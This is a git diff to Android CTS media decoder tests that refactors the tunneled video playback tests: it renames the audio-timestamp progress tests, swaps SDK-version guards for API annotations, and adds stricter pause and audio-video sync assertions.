diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
index b97c903..d26c45f 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
@@ -16,6 +16,7 @@
 package android.media.decoder.cts;
 
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
 
 import android.annotation.SuppressLint;
 import android.annotation.TargetApi;
@@ -66,6 +67,7 @@
 import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Rule;
 
@@ -214,6 +216,8 @@
                 return false;
             }
             configureVideoFormat(mediaFormat, videoFormat);
+            Assume.assumeTrue("Decoder " + codecName + " doesn't support format " + mediaFormat,
+                    MediaUtils.supports(codecName, mediaFormat));
             setRenderToSurface(surface != null);
             return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
         }
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index a424edb..9926f04 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -73,6 +73,7 @@
 import androidx.test.filters.SdkSuppress;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
@@ -124,10 +125,10 @@
     private static final int CONFIG_MODE_NONE = 0;
     private static final int CONFIG_MODE_QUEUE = 1;
 
-    private static final int CODEC_ALL = 0; // All codecs must support
-    private static final int CODEC_ANY = 1; // At least one codec must support
-    private static final int CODEC_DEFAULT = 2; // Default codec must support
-    private static final int CODEC_OPTIONAL = 3; // Codec support is optional
+    public static final int CODEC_ALL = 0; // All codecs must support
+    public static final int CODEC_ANY = 1; // At least one codec must support
+    public static final int CODEC_DEFAULT = 2; // Default codec must support
+    public static final int CODEC_OPTIONAL = 3; // Codec support is optional
 
     short[] mMasterBuffer;
     static final String mInpPrefix = WorkDir.getMediaDirString();
@@ -141,8 +142,6 @@
     private DisplayManager mDisplayManager;
     static final Map<String, String> sDefaultDecoders = new HashMap<>();
 
-    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
     protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
             throws FileNotFoundException {
         File inpFile = new File(mInpPrefix + res);
@@ -3884,11 +3883,10 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
 
-        // starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -3921,8 +3919,8 @@
     /**
      * Test tunneled video playback mode with HEVC if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledVideoPlaybackHevc() throws Exception {
         tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC,
                     "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -3931,8 +3929,8 @@
     /**
      * Test tunneled video playback mode with AVC if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledVideoPlaybackAvc() throws Exception {
         tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC,
                 "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -3941,8 +3939,8 @@
     /**
      * Test tunneled video playback mode with VP9 if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledVideoPlaybackVp9() throws Exception {
         tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9,
                     "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
@@ -3966,11 +3964,10 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
 
-        // starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -3990,8 +3987,8 @@
     /**
      * Test tunneled video playback flush with HEVC if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledVideoFlushHevc() throws Exception {
         testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
                 "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -4000,8 +3997,8 @@
     /**
      * Test tunneled video playback flush with AVC if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledVideoFlushAvc() throws Exception {
         testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
                 "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -4010,23 +4007,19 @@
     /**
      * Test tunneled video playback flush with VP9 if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledVideoFlushVp9() throws Exception {
         testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
                 "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
     }
 
     /**
-     * Test tunneled video peek renders the first frame when on
+     * Test that the first frame is rendered when video peek is on in tunneled mode.
      *
      * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
      */
     private void testTunneledVideoPeekOn(String mimeType, String videoName) throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOn requires Android 12")) {
-            return;
-        }
-
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                     "No tunneled video playback codec found for MIME " + mimeType)) {
             return;
@@ -4040,9 +4033,8 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.startCodec();
         mMediaCodecPlayer.setVideoPeek(true); // Enable video peek
 
         // Assert that onFirstTunnelFrameReady is called
@@ -4061,30 +4053,30 @@
     }
 
     /**
-     * Test tunneled video peek with HEVC renders the first frame when on
+     * Test that the first frame is rendered when video peek is on for HEVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
     public void testTunneledVideoPeekOnHevc() throws Exception {
         testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_HEVC,
                 "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
     }
 
     /**
-     * Test tunneled video peek with AVC renders the first frame when on
+     * Test that the first frame is rendered when video peek is on for AVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
     public void testTunneledVideoPeekOnAvc() throws Exception {
         testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_AVC,
                 "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
     }
 
     /**
-     * Test tunneled video peek with VP9 renders the first frame when on
+     * Test that the first frame is rendered when video peek is on for VP9 in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
     public void testTunneledVideoPeekOnVp9() throws Exception {
         testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_VP9,
                 "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
@@ -4092,15 +4084,11 @@
 
 
     /**
-     * Test tunneled video peek doesn't render the first frame when off and then turned on
+     * Test that peek off doesn't render the first frame until turned on in tunneled mode.
      *
      * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
      */
     private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
-            return;
-        }
-
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                     "No tunneled video playback codec found for MIME " + mimeType)) {
             return;
@@ -4114,9 +4102,8 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.startCodec();
         mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
 
         // Assert that onFirstTunnelFrameReady is called
@@ -4142,75 +4129,40 @@
     }
 
     /**
-     * Test tunneled video peek with HEVC doesn't render the first frame when off and then turned on
+     * Test that peek off doesn't render the first frame until turned on for HEC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
     public void testTunneledVideoPeekOffHevc() throws Exception {
         testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
                 "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
     }
 
     /**
-     * Test tunneled video peek with AVC doesn't render the first frame when off and then turned on
+     * Test that peek off doesn't render the first frame until turned on for AVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
     public void testTunneledVideoPeekOffAvc() throws Exception {
         testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
                 "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
     }
 
     /**
-     * Test tunneled video peek with VP9 doesn't render the first frame when off and then turned on
+     * Test that peek off doesn't render the first frame until turned on for VP9 in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
     public void testTunneledVideoPeekOffVp9() throws Exception {
         testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
                 "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
     }
 
-    /**
-     * Test tunneled audio PTS gaps with HEVC if supported.
-     * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
-     * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
-     * gap.
-     */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    @Test
-    public void testTunneledAudioPtsGapsHevc() throws Exception {
-        testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled audio PTS gaps with AVC if supported
-     * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
-     * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
-     * gap.
-     */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    @Test
-    public void testTunneledAudioPtsGapsAvc() throws Exception {
-        testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled audio PTS gaps with VP9 if supported
-     * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
-     * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
-     * gap.
-     */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    @Test
-    public void testTunneledAudioPtsGapsVp9() throws Exception {
-        testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    private void testTunneledAudioPtsGaps(String mimeType, String fileName) throws Exception {
+   /**
+    * Test that audio timestamps don't progress during audio PTS gaps in tunneled mode.
+    */
+   private void testTunneledAudioProgressWithPtsGaps(String mimeType, String fileName)
+            throws Exception {
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                     "No tunneled video playback codec found for MIME " + mimeType)) {
             return;
@@ -4224,11 +4176,10 @@
         final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
 
-        // starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -4291,37 +4242,40 @@
     }
 
     /**
-     * Test tunneled audioTimestamp progress with underrun, with HEVC if supported
+     * Test that audio timestamps don't progress during audio PTS gaps for HEVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
-    public void testTunneledAudioTimestampProgressWithUnderrunHevc() throws Exception {
-        testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithPtsGapsHevc() throws Exception {
+        testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
                 "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
     }
 
     /**
-     * Test tunneled audioTimestamp progress with underrun, with AVC if supported.
+     * Test that audio timestamps don't progress during audio PTS gaps for AVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
-    public void testTunneledAudioTimestampProgressWithUnderrunAvc() throws Exception {
-        testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithPtsGapsAvc() throws Exception {
+        testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
                 "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
     }
 
     /**
-     *  Test tunneled audioTimestamp progress with underrun, with VP9 if supported.
+     * Test that audio timestamps don't progress during audio PTS gaps for VP9 in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
-    public void testTunneledAudioTimestampProgressWithUnderrunVp9() throws Exception {
-        testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithPtsGapsVp9() throws Exception {
+        testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
                 "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
     }
 
-    private void testTunneledAudioTimestampProgressWithUnderrun(
-            String mimeType, String fileName) throws Exception {
+    /**
+     * Test that audio timestamps stop progressing during underrun in tunneled mode.
+     */
+    private void testTunneledAudioProgressWithUnderrun(String mimeType, String fileName)
+            throws Exception {
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                 "No tunneled video playback codec found for MIME " + mimeType)) {
             return;
@@ -4335,11 +4289,10 @@
         final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
 
-        // starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -4380,9 +4333,39 @@
     }
 
     /**
-     * Test accurate video rendering after a video MediaCodec flush.
+     * Test that audio timestamps stop progressing during underrun for HEVC in tunneled mode.
+     */
+    @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithUnderrunHevc() throws Exception {
+        testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test that audio timestamps stop progressing during underrun for AVC in tunneled mode.
+     */
+    @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithUnderrunAvc() throws Exception {
+        testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test that audio timestamps stop progressing during underrun for VP9 in tunneled mode.
+     */
+    @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithUnderrunVp9() throws Exception {
+        testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test accurate video rendering after a flush in tunneled mode.
      *
-     * On some devices, queuing content when the player is paused, then triggering a flush, then
+     * Test On some devices, queuing content when the player is paused, then triggering a flush, then
      * queuing more content does not behave as expected. The queued content gets lost and the flush
      * is really only applied once playback has resumed.
      *
@@ -4390,10 +4373,6 @@
      */
     private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
             throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
-            return;
-        }
-
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                     "No tunneled video playback codec found for MIME " + mimeType)) {
             return;
@@ -4414,15 +4393,14 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
         // Video peek might interfere with the test: we want to ensure that queuing more data during
         // a pause does not cause displaying more video frames, which is precisely what video peek
         // does.
         mMediaCodecPlayer.setVideoPeek(false);
 
-        // starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -4434,22 +4412,72 @@
         assertNotEquals("Audio timestamp has a zero frame position",
                 mMediaCodecPlayer.getTimestamp().framePosition, 0);
 
+        // Allow some time for playback to commence
+        Thread.sleep(500);
+
         // Pause playback
         mMediaCodecPlayer.pause();
-        // Allow some time for playback to pause
-        Thread.sleep(maxDrainTimeMs);
 
-        // Verify that playback has paused
-        long pauseAudioFramePositionUs = mMediaCodecPlayer.getTimestamp().framePosition;
-        long pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
-        Thread.sleep(maxDrainTimeMs);
-        assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioFramePositionUs);
+        // Wait for audio to pause
+        AudioTimestamp pauseAudioTimestamp;
+        {
+            AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+            long startTimeMs = System.currentTimeMillis();
+            do {
+                // If it takes longer to pause, the UX won't feel responsive to the user
+                int audioPauseTimeoutMs = 250;
+                assertTrue(String.format("No audio pause after %d milliseconds",
+                                audioPauseTimeoutMs),
+                        System.currentTimeMillis() - startTimeMs < audioPauseTimeoutMs);
+                pauseAudioTimestamp = currentAudioTimestamp;
+                Thread.sleep(50);
+                currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+            } while (currentAudioTimestamp.framePosition != pauseAudioTimestamp.framePosition);
+        }
+        long pauseAudioSystemTimeMs = pauseAudioTimestamp.nanoTime / 1000 / 1000;
+
+        // Wait for video to pause
+        long pauseVideoSystemTimeNs;
+        long pauseVideoPositionUs;
+        {
+            long currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano();
+            long startTimeMs = System.currentTimeMillis();
+            do {
+                int videoUnderrunTimeoutMs = 2000;
+                assertTrue(String.format("No video pause after %d milliseconds",
+                                videoUnderrunTimeoutMs),
+                        System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
+                pauseVideoSystemTimeNs = currentVideoSystemTimeNs;
+                Thread.sleep(250); // onFrameRendered can get delayed in the Framework
+                currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano();
+            } while (currentVideoSystemTimeNs != pauseVideoSystemTimeNs);
+            pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
+        }
+        long pauseVideoSystemTimeMs = pauseVideoSystemTimeNs / 1000 / 1000;
+
+        // Video should not continue running for a long period of time after audio pauses
+        long pauseVideoToleranceMs = 500;
+        assertTrue(String.format(
+                        "Video ran %d milliseconds longer than audio (video:%d audio:%d)",
+                        pauseVideoToleranceMs, pauseVideoSystemTimeMs, pauseAudioSystemTimeMs),
+                pauseVideoSystemTimeMs - pauseAudioSystemTimeMs < pauseVideoToleranceMs);
+
+        // Verify that playback stays paused
+        Thread.sleep(500);
+        assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioTimestamp.framePosition);
+        assertEquals(mMediaCodecPlayer.getCurrentRenderedSystemTimeNano(), pauseVideoSystemTimeNs);
         assertEquals(mMediaCodecPlayer.getVideoTimeUs(), pauseVideoPositionUs);
 
-        // Verify audio and video are in sync
-        assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)",
-                        pauseVideoPositionUs, pauseAudioFramePositionUs),
-                pauseVideoPositionUs <= pauseAudioFramePositionUs);
+        // Verify audio and video are roughly in sync when paused
+        long framePosition = mMediaCodecPlayer.getTimestamp().framePosition;
+        long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate();
+        long pauseAudioPositionMs = pauseAudioTimestamp.framePosition * 1000 / playbackRateFps;
+        long pauseVideoPositionMs = pauseVideoPositionUs / 1000;
+        long deltaMs = pauseVideoPositionMs - pauseAudioPositionMs;
+        assertTrue(String.format(
+                        "Video is %d milliseconds out of sync from audio (video:%d audio:%d)",
+                        deltaMs, pauseVideoPositionMs, pauseAudioPositionMs),
+                deltaMs > -80 && deltaMs < pauseVideoToleranceMs);
 
         // Flush both audio and video pipelines
         mMediaCodecPlayer.flush();
@@ -4493,8 +4521,8 @@
     /**
      * Test accurate video rendering after a video MediaCodec flush with HEVC if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledAccurateVideoFlushHevc() throws Exception {
         testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
                 "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -4503,8 +4531,8 @@
     /**
      * Test accurate video rendering after a video MediaCodec flush with AVC if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledAccurateVideoFlushAvc() throws Exception {
         testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
                 "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -4513,49 +4541,18 @@
     /**
      * Test accurate video rendering after a video MediaCodec flush with VP9 if supported
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledAccurateVideoFlushVp9() throws Exception {
         testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
                 "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
     }
 
     /**
-     * Test tunneled audioTimestamp progress with HEVC if supported
+     * Test that audio timestamps stop progressing during pause in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    @Test
-    public void testTunneledAudioTimestampProgressHevc() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with AVC if supported
-     */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    @Test
-    public void testTunneledAudioTimestampProgressAvc() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with VP9 if supported
-     */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    @Test
-    public void testTunneledAudioTimestampProgressVp9() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test that AudioTrack timestamps don't advance after pause.
-     */
-    private void
-    testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
-    {
+    private void testTunneledAudioProgressWithPause(String mimeType, String videoName)
+            throws Exception {
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                     "No tunneled video playback codec found for MIME " + mimeType)) {
             return;
@@ -4568,11 +4565,10 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
